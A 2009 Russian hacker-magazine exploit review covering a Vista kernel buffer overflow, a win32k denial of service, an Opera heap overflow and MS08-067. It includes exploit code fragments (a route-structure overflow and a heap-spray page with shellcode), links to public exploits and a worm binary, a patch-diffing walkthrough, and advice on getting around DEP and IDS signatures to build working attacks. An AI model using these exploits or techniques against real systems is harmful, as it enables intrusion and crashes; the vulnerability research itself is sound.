Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #121, ЯНВАРЬ 2009 г.

Обзор эксплойтов

Крис Касперски




Критические ошибки обнаруживаются в Windows едва ли не каждую неделю, но глобальные эпидемии возникают, прямо скажем, не часто. Последняя нашумевшая уязвимость относится к ветхозаветной дыре в службе RPC DCOM, эксплуатируемой червем MSBlast. И вот, наконец, новая дыра и новый червь, распространяющийся со скоростью лесного пожара — Gimmiv! А за ним – руткит KernelBot.dg, плюс толпа всякой мелкой малвари до кучи. Встречайте аплодисментами!

MS Windows – локальное разрушение памяти ядра

Brief

В конце ноября 2008 года австрийский хакер Thomas Unterleitner из компании phion AG совместно с коллегами по цеху (Marius Wachtler, Michael Burgbacher, Carson Hounshell и Michael Craggs) обнаружили переполнение буфера в TCP/IP-стеке Висты. По горячим следам они опубликовали статью «Microsoft VISTA TCP/IP stack buffer overflow», описывающую ужасные последствия стекового переполнения и тут же подхваченную журналисткой общественностью. На самом деле, «TCP/IP-стек» не более чем метафора. Переполняющийся буфер расположен в куче, выделяемой ядерной функцией ExAllocatePoolWithTag, тупо аллоцирующей 32 байта без проверки реальной длины передаваемых данных (поставляемых документированной API-функцией CreateIpForwardEntry2, экспортируемой библиотекой iphlpapi.dll, входящей в штатную поставку как 32-битной, так и 64-битной версий Windows Vista…). Согласно MSDN, функция принимает структуру MIB_IPFORWARD_ROW2, включающую в себя поле PrefixLength и определяющую размер префикса с максимально допустимой длиной в 32 байта (по документации). В реальности же, PrefixLength представляет собой DWORD, передаваемый функции memcpy.

Это позволяет перезаписывать ядерную память с прикладного уровня. Последствием будет либо голубой экран смерти, либо передача управления на shell-код. Поскольку вызов CreateIpForwardEntry2 требует администраторских прав, достаточно многие эксперты по безопасности недооценивают угрозу, полагая, что злоумышленник, обладающий правами администратора, может «поиметь» систему и без переполнения (загрузить вредоносный драйвер, например). Вот только 64-битные версии Windows без цифровой подписи драйвер ни за что не загрузят, а потому даже локальные дыры ядра приобретают особую актуальность. Кстати говоря, не устраняемую установкой Service Pack 1! 64-битные версии XP также требуют обязательной цифровой подписи, но ошибки переполнения MIB_IPFORWARD_ROW2. PrefixLength в них нет, как нет ее и в Server 2003. А все потому, что сетевой стек Висты был переписан с нуля, и ошибок там... В общем, это не первая, и уж точно не последняя дыра. От глобальных потрясений нас спасает лишь непопулярность Висты, обуславливающая не только малое количество уязвимых машин, но и нежелание хакеров тратить время на поиск дыр, которые все равно не удастся использовать в «промышленных» масштабах. Ну, разве что в образовательных целях. Желающие поэкспериментировать найдут все необходимую техническую информацию на securityfocus.com/archive/1/498471.

Targets

Vista Home/Business/Enterprise/Ultimate x32/x64 SP0/SP1

Exploit

Исходный текст exploit'а, написанного на Си и вызывающего обрушение системы в голубой экран смерти, можно найти в статье Thomas'a Unterleitner'a или скачать с securityfocus.com/data/vulnerabilities/exploits/32357.c. Ключевой фрагмент программы приводится ниже. Жестко прошитые IP-адреса руками не трогать! Атака носит локальный характер и за пределы узла-источника пакеты все равно не уходят. Так что IP-адреса на суть дела никак не влияют.

Ключевой фрагмент exploit'а, вызывающего разрушение ядреной памяти Висты

MIB_IPFORWARD_ROW2 route;
route.InterfaceIndex = atoi(argv[1]);
route.DestinationPrefix.PrefixLength = atoi(argv[2]);
route.DestinationPrefix.Prefix.Ipv4.sin_addr.s_addr = inet_addr("1.2.3.0");
route.NextHop.Ipv4.sin_addr.s_addr = inet_addr("11.22.33.44");

route.Protocol = MIB_IPPROTO_NETMGMT;
route.Origin = NlroManual;
route.ValidLifetime = 0xffffffff;
route.PreferredLifetime = 0xffffffff;
route.Metric = 1;

CreateIpForwardEntry2(&route);

Solution

Microsoft все еще не подтвердила атаку, а потому заплаток нет, и вряд ли скоро будет. В принципе, ядро не сложно отпачить и руками, воткнув туда недостающую проверку, но особого смысла в этом мало. Проще не сидеть под администратором.

MS Windows – локальный отказ в обслуживании

Brief

Еще один дефект ядра, затрагивающий Висту, был обнаружен хакером по кличке support#killprog.com. Одновременный вызов API-функции UnhookWindowsHookEx (снятие глобального хука) с переключением Рабочего Стола (за что отвечает API-функция SwitchDesktop) приводит к падению драйвера win32k.sys, выбрасывающего голубой экран смерти. Причем, обе API-функции доступны непривилегированным пользователям! Это создает существенную угрозу для безопасности всей системы в целом. Той самой системы, надежность которой (если верить Руссиновичу) от переноса графической подсистемы в драйвер уровня ядра ничуть не пострадала. Наверное, Руссинович не читал Законов Мерфи. Применительно к exploit'у, выпущенному support#killprog'ом, хочу сказать, что одновременность вызова API-функций там обеспечивается путем отдачи процессорных квантов посредством Sleep(0) — вот такой хитроумный способ межпоточной синхронизации. А потоков exploit создает ровно четыре штуки. Следовательно, на четырех ядерной системе все потоки стартуют одновременно (ну, практически одновременно) и отдавать кванты становится уже некому. Для повышения стабильности работы exploit'а количество создаваемых потоков рекомендуется увеличить в несколько раз, иначе Windows обидится и не упадет. О причинах падения можно прочитать на murphy-law.net.ru и securityfocus.com/bid/32206.

Targets

Дефект подтвержден в Server 2003 Standard/Enterprise/Datacenter x32/x64 и Vista Home/Premium/Ultimate x32/x64. Другие версии не проверялись, но есть все основания полагать, что они также уязвимы.

Exploit

Исходный текст exploit'а, написанный на приплюснутом Си, можно найти на securityfocus.com/data/vulnerabilities/exploits/whk.zip — в архив входит файл проекта Microsoft Visual C++ и откомпилированный exe/dll (динамическая библиотека необходима для организации хуков).

Solution

А нету! Во всяком случае, Microsoft хранит гробовое молчание — ни бюллетеней безопасности, ни заплаток. Приходится починять систему самостоятельно, поскольку дефект проявляется не только при атаке, но и в результате нормальной эксплуатации — хуки устанавливают достаточно многие приложения (драйвера мультимедийных клавиатур, например). Они же поддерживают более одного рабочего стола, при активной работе с которым проблема встает в полный рост. Свой собственный Server 2003 я пофиксил путем горячего патча USER32.DLL в памяти, воткнув в начало функции UnhookWindowsHookEx проверку на вхождение SwitchDesktop с ожиданием выхода из последнего.

Opera – локальное переполнение кучи

Brief

Количество дыр, обнаруженных в Опере, неуклонно растет. Помимо тривиального отказа в обслуживании (которым сегодня никого не удивишь), встречаются и критические ошибки, допускающие удаленное выполнение shell-кода. Самая свежая уязвимость подобного рода датируется ноябрем 2008 года и относится к переполнению кучи при задании слишком длинного адреса (прядка ~16,500 символов) в URL типа file. И хотя на Security Focus (смотри securityfocus.com/bid/32323) дыра описывается как удаленная, переполнение происходит только при локальном открытии HTML-файла с кодом exploit'а. Однако, если жертва сохранит страничку на диск, чтобы позднее просмотреть ее offline, локальная атака тут же превратится в удаленную. Учитывая, что странички сохраняются не так уж редко, угроза атаки достаточно велика. Впрочем, малая распространенность Оперы служит надежной защитой :).

Targets

Уязвимость подтверждена в Опере 9.6 и 9.62.

Exploit

Исходный текст exploit'а, вызывающего «Калькулятор», можно найти на milw0rm.com/exploits/7135, а ниже приведен его ключевой фрагмент.

Код exploit'а, атакующего Оперу

<script>
var i=0;
// push es, pop es
var block = unescape("%u0607%u0607");

// metasploit WinExec c:\WINDOWS\system32\calc.exe
var shellcode = unescape("%ue8fc…%u4100");

while (block.length < 81920) block += block;
var memory = new Array();
for (;i<1000;i++) memory[i] += (block + shellcode);

var evil = "file://";
for(var i = 0; i<16438; i++) evil += "X";

evil += "R."; window.location.replace(evil);
</script>

Solution

Несмотря на то, что разработчики Оперы были уведомлены первооткрывателем дыры еще в сентябре, никакой реакции от них не последовало. Лекарства нет, и когда оно появится – неизвестно.

MS Windows – удаленное переполнение буфера в RPC

Brief

2 ноября 2008 года червь Морриса (исходные коды которого до сих пор хранятся в Бостонском Музее Науки) отметил свой 20-летний юбилей. И как раз в то же время вспыхнула новая масштабная эпидемия, распространяющаяся через дыру в службе RPC. Затрагивает она все системы от Windows 2000 до Висты/Server 2008 включительно и позволяет забросить на целевую машину зловредный код безо всякой аутентификации. Уязвимости подвержены как 32-битные, так и 64-версии, что создает крайне благоприятные условия для размножения червей. Trojan-Spy:W32/Gimmiv.A/B/C, W32/Conficker.worm, Trojan:Win32/Wecorl.A/B, Trojan:Win32/ Clort.A/!exploit/dr, TrojanDownloader:Win32/VB.CQ/CJ – вот неполный список заразы, известной на данный момент, и этот список неуклонно растет. Большое количество публичных exploit'ов существенно облегчает жизнь вирусописателей, которым достаточно просто выдрать атакующий код и вставить его в свой проект, написанный на любом языке даже без знания ассемблера. И хотя Microsoft уже выпустила «лекарство», а поставщики систем обнаружения вторжений добавили в базы новые сигнатуры, описывающие основные вектора атаки (без привязки к конкретным вирусам), хакерские атаки захлебываться не собираются! Патч от Microsoft фиксит только часть дыр, а существующие сигнатуры обходятся на ура (чуть позже мы покажем, как это сделать).

Короче, ситуация очень серьезна и заслуживает самого тщательного анализа. Как обычно, официальные источники содержат только обрывки информации: microsoft.com/technet/security/Bulletin/ms08-067.mspx, securityfocus.com/bid/31874, http://blogs.technet.com/swi/ и blogs.msdn.com/sdl/archive/2008/10/22/ms08-067.aspx.

Targets

Уязвимость затрагивает всю линейку NT-подобных систем: W2K Professional/ Server/Advanced/Datacenter SP0/SP1/SP2/SP3/SP4, XP Gold/Home/Professional SP0/SP1/ SP2/SP3 x86/x86-64, Vista Home/Business/ Enterprise/ Ultimate SP0/SP1 x86/x86-64, S2K3 Standard/Datacenter/Advanced/Enterprise SP0/SP1/SP2 x86/x86-64/ Itanium, S2K8 Standard/Datacenter/Advanced/Enterprise SP0 x86/x86-64/ Itanium.

Exploits

Готовых exploit'ов много, рабочих же среди них... ну не то, чтобы нет совсем, но очень мало, да и те нуждаются в исполняемом стеке или работают лишь с известными им операционными системами (W2K, XP, S2K3). Под Висту и S2K8 боевых exploit'ов в открытом доступе пока нема, но я покажу, как их написать! А писать мы их будем на основе уже существующего кода, ссылки на который приведены ниже:

  1. MS08-067 Remote Stack Overflow Vulnerability Exploit by Polymorphours поражает W2K, написан на Си, дает удаленный шелл: milw0rm.com/exploits/7104.
  2. MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled) поражает W2K и S2K3[SP2], написан на Питоне, дает удаленный шелл: milw0rm.com/exploits/7132.
  3. MS08-067 Exploit for CN by EMM@ph4nt0m.org претендует на универсальность, однако ни на XP, ни на S2k3 в упор не работает. Зато содержит полезный код, которым мы впоследствии воспользуемся для создания своего exploit'а, поражающего все системы: milw0rm.com/sploits/2008-MS08-067.rar.
  4. MS08-067 Gimmiv Worm.A – двоичный файл червя (требует предварительной регистрации): offensivecomputing.net/?q=ocsearch&ocq=d65df633dc2700d521ae4dff8c393bff

Solution

Microsoft выпустила заплатки для всех операционных систем, но исправила лишь часть ошибок, а потому установка пакета обновления (который можно добыть на microsoft.com/technet/security/Bulletin/ms08-067.mspx) блокирует только первое поколение червей, но не спасает против целевых атак. Закрытие 139 и 445 портов на брандмауэре надежно защищает нас от вторжения, но разделяемые ресурсы при этом становятся недоступными. Приходится не по-детски извращаться, создавая сложные правила фильтрации трафика, основанные на поиске последовательностей «5c 00 2e 00 2e 00 5c 00» («\..\»), «2f 00 2e 00 2e 00 2f 00» («/..»), «5c 00 2e 00 2e 00 2f 00» («\../») и «5c 00 2e 00 2e 00 2f 00» («/..\»). Ну а для тестирования брандмауэра можно воспользоваться моей утилитой (kpnc.org/ftp/MS08-067.zip, пароль «123456»). Она инсценирует атаку на RPC и выбрасывает внутри сервиса SRVSVC необрабатываемое исключение, приводящее к его гибели (вместе с дырой). Правильно сконфигурированный брандмауэр блокирует посылку пакетов, и сервис продолжает работать даже после запуска программы.

Disclose

А сейчас мы будем хакерствовать, демонстрируя методики скоростного поиска дыр и исправления ошибок в вирусах/exploit'ах. Ведь мы же хотим атаковать не только хрюшу, установленную на древнем ЦП с исполняемым стеком, но и современные системы, верно? А как будем атаковать? Притворимся, что мы ничего не знаем о дыре — типа никаких статей не читали, червей не дизассемблировали и даже исходные тексты exploit'ов не листали. Представим, что у нас есть только бюллетень безопасности от Microsoft, из которого ничего понять невозможно. Типа, где-то там в RPC есть дыра, но что за дыра, и где именно ее искать — кто же нам это скажет! Ничего не остается, кроме как запасаться пивом и добывать недостающую информацию самостоятельно. Самое простое — скачать «заплатку» от Microsoft и посмотреть, что именно было исправлено, сравнив ее с непатченным оригиналом. Различные системы имеют различные дыры, и потому для полноты картины необходимо исследовать все заплатки, начиная с W2K и заканчивая S2k8.

Поскольку техника анализа во всех случаях полностью идентична, продемонстрируем ее на примере W2K, обновление для которой упрятано в исполняемый файл Windows2000-KB958644-x86-RUS.EXE, представляющий собой самораспаковывающийся CAB-архив. Как добыть из него актуальные файлы? Загружаем exe в HIEW, ищем сигнатуру «MSCF». После чего выделяем блок и копируем его в .cab, распаковываемый штатной Windows-утилитой compress.exe либо RAR'ом, извлекающим на свет божий netapi32.dll, в которой и сосредоточены все исправления. Примечание: для XP данная техника уже не работает, но можно схитрить — запустить exe без прав администратора и, получив сообщение об ошибке, вытащить распакованные инсталлятором файлы из временной папки. Затем нажать на «ОК», позволяя инсталлятору удалить их обратно.

Теперь нам потребуется IDA-Pro и утилита для сравнения патчей — коммерческий BinDiff или же бесплатный PatchDiff, причем качество последнего ничуть не хуже, и я им вполне доволен: http://cgi.tenablesecurity.com/tenable/patchdiff.php.

Переименовываем оригинальный netapi32.dll в netapi32_o.dll, грузим в IDA-Pro и дожидаемся завершения дизассемблирования. Закрываем базу, загружаем исправленный netapi32.dll (переименованный в netapi32_p.dll), дизассемблируем, после чего лезем в меню Edit\Plug-ins, находим там PatchDiff и указываем ему netapi32_o.idb. На удивление, PatchDiff генерирует довольно чистый отчет, содержащий всего 21 функцию. Практически все функции несут на своем борту актуальные изменения, которые удобнее всего просматривать в графическом режиме (контекстное меню -> пункт «Graph»). В частности, сравнение оригинальной и пропатченной функции «I_NetPathCanonicalize» выглядит так (смотри рисунок).

Измененный код находится в красных блоках. Чтобы их увеличить — жмем «1». Чтобы перейти к дизассемблерному коду — щелкаем правой кнопкой мыши и выбираем пункт «Jump to Code» в контекстом меню.

Оригинальная netapi32.dll

7CD1AA3E 6A 00 push 0 ; char
7CD1AA40 8D 85 D0 FD FF FF lea eax, [ebp+UncServerName]
7CD1AA46 50 push eax ; Dest
7CD1AA47 8D 45 E0 lea eax, [ebp+var_20]
7CD1AA4A 50 push eax ; int
7CD1AA4B FF 75 08 push [ebp+Buffer] ; Buffer
7CD1AA4E E8 88 D0 FF FF call NetpIsRemote

Пропатченная netapi32.dll

7CD1FB7D 6A 00 push 0 ; char
7CD1FB7F 68 04 01 00 00 push 104h ; int
7CD1FB84 8D 85 D0 FD FF FF lea eax, [ebp+UncServerName]
7CD1FB8A 50 push eax ; Dest
7CD1FB8B 8D 45 E0 lea eax, [ebp+var_20]
7CD1FB8E 50 push eax ; int
7CD1FB8F FF 75 08 push [ebp+Buffer] ; Buffer
7CD1FB92 E8 82 35 00 00 call NetpIsRemote

Ага! В оригинальной версии вызывается функция NetpIsRemote(Buffer, int, Dest, char), а в исправленной — NetpIsRemote(Buffer, int, Dest, char, 0x104). Как нетрудно догадаться, 0x104 — максимально допустимый размер буфера, предотвращающий переполнение. Остается только выяснить, где происходит переполнение. А происходит оно в функции NetpwPathCanonicalize(), вызывающей в свою очередь функцию sub_7CD1AB28, ключевой фрагмент которой приведен ниже:

Уязвимый код, вызывающий переполнение буфера

7CD1AB53 FF 75 0C push [ebp+Source] ; Str
7CD1AB56 FF D7 call edi ; __imp_wcslen
7CD1AB5B 3B C3 cmp eax, ebx
7CD1AB5D 77 70 ja short loc_7CD1ABCF
7CD1AB5F FF 75 0C push [ebp+Source] ; Source
7CD1AB68 50 push eax ; Dest
7CD1AB69 FF 15 A4 12 D1 7C call ds:__imp_wcscat
7CD1AB8D 8D 85 EC FB FF FF lea eax, [ebp+Str]
7CD1AB93 50 push eax
7CD1AB94 E8 40 00 00 00 call sub_7CD1ABD9
7CD1AB9D 8D 85 EC FB FF FF lea eax, [ebp+Str]
7CD1ABA3 50 push eax ; Str
7CD1ABA4 FF D7 call edi ; __imp_wcslen
7CD1ABA6 8D 44 00 02 lea eax, [eax+eax+2]
7CD1ABB4 8D 85 EC FB FF FF lea eax, [ebp+Str]
7CD1ABBA 50 push eax ; Source
7CD1ABBB FF 75 10 push [ebp+Dest] ; Dest
7CD1ABBE FF 15 B4 12 D1 7C call ds:__imp_wcscpy

В глаза сразу бросается «сладкая парочка» — wcslen()/wcscpy(). Она характерна для bug-free программ, но в нашем случае явная проверка длины строки перед копированием от переполнения не спасает, поскольку функция ищет символы «/», «\» и «.», удаляя последовательности а-ля «\..\» и ошибаясь в коррекции размеров буфера:

Функция «нормализации» сетевых имен

7CD1ABD9 sub_7CD1ABD9 proc near ; CODE XREF: sub_7CD1AB28+6C^p
7CD1ABD9
7CD1ABE0 8B 7C 24 18 mov edi, [esp+14h+arg_0]
7CD1ABE4 6A 2F push '/'
7CD1ABE6 5E pop esi
7CD1ABE7 33 D2 xor edx, edx
7CD1ABE9 66 8B 07 mov ax, [edi]
7CD1ABEC 6A 5C push '\'
7CD1ABEE 5B pop ebx
7CD1ABEF 33 ED xor ebp, ebp
7CD1ABF1 66 3B C3 cmp ax, bx
7CD1ABF4 89 54 24 10 mov [esp+14h+var_4], edx
7CD1ABF8 0F 84 19 3F 00 00 jz loc_7CD1EB17
7CD1ABFE 66 3B C6 cmp ax, si
7CD1AC01 0F 84 10 3F 00 00 jz loc_7CD1EB17
7CD1AC07
7CD1AC07 loc_7CD1AC07: ; CODE XREF: sub_7CD1ABD9+3F51v
7CD1AC07 66 85 C0 test ax, ax
7CD1AC0A 8B F7 mov esi, edi
7CD1AC0C 74 1D jz short loc_7CD1AC2B
7CD1AC0E
7CD1AC0E loc_7CD1AC0E: ; CODE XREF: sub_7CD1ABD9+60vj
7CD1AC0E 66 3B C3 cmp ax, bx
7CD1AC11 0F 84 91 C7 00 00 jz loc_7CD273A8
7CD1AC17 66 83 F8 2E cmp ax, '.'
7CD1AC1B 0F 84 9A C7 00 00 jz loc_7CD273BB

Как следствие, уязвимость распространяется на все функции, вызывающие sub_7CD1ABD9() для нормализации имен. Таких функций достаточно много. Существующие черви и exploit'ы используют всего два метода службы SRVSVC – I_NetPathCanonicalize и I_NetPathCompare. Однако, в нашем распоряжении есть другие. Вот полный список уязвимых методов, доступных для непосредственного вызова через сетевой интерфейс 4B324FC8-1670-01D3-1278-5A47BF6EE188:

I_NetPathType;
I_NetPathCompare;
I_NetNameValidate;
I_NetNameCompare;
I_NetListCanonicalize;
I_NetPathCanonicalize
I_NetNameCanonicalize;
I_NetServerSetServiceBits;
I_NetServerSetServiceBitsEx;

Для эксплуатации уязвимости необходимо внедрить в сетевое имя (передаваемое функции в качестве аргумента) последовательность «\..\» или же что-нибудь в этом роде – «/../», «/..\», «\../» (последние две конструкции поддерживает только S2k3/S2k8). Механизм вызова методов обозначенного сетевого интерфейса долгое время оставался недокументированным, и хакерам приходилось терзать исходные тексты Самбы. Теперь же достаточно сходить на MSDN, где выложены примеры взаимодействия со службой SRVSVC и описаны опкоды некоторых методов: msdn.microsoft.com/en-us/library/cc213209.aspx. Попытка найти недостающие опкоды в неофициальной документации (hsc.fr/ressources/articles/win_net_srv/msrpc_srvsvc.html) также не дает результата. Ну не дает – и не надо! Нам хватит и документированных функций. Чтобы реализовать атаку, необходимо решить две проблемы — передать управление на shell-код и обойти защиту от исполнения кода в стеке. В классическом варианте задача решается путем помещения в адрес возврата указателя на инструкцию JMP ESP/CALL ESP (FFE4h/FFD4h), которую можно найти как в netapi32.dll, так и в остальных системных библиотеках. Естественно, адреса привязаны к конкретной версии Windows, что делает атакующий код непереносимым. Однако можно найти и такие последовательности байт, которые справедливы более чем для одной версии операционной системы. Достаточно воспользоваться онлайновым мастером, «крышуемым» Metaspoit'ом. Но это будет работать при выключенном DEP'е, а у большинства пользователей он включен, и для борьбы с защитой приходится заносить в стек адреса API-функций типа VirtualAlloc или VirtualProtect создающие блоки с атрибутами «исполняемый» (подробности — в Google по запросу return2libc).

Точить свой exploit с абсолютного нуля — необязательно. Проще доработать уже имеющиеся. Естественно, для этого нужно не только знать Си и/или Питон, но и разбираться в shell-кодах, что и представляет основную проблему. А ключевой фрагмент эксплойта ты можешь найти на нашем DVD.

Содержание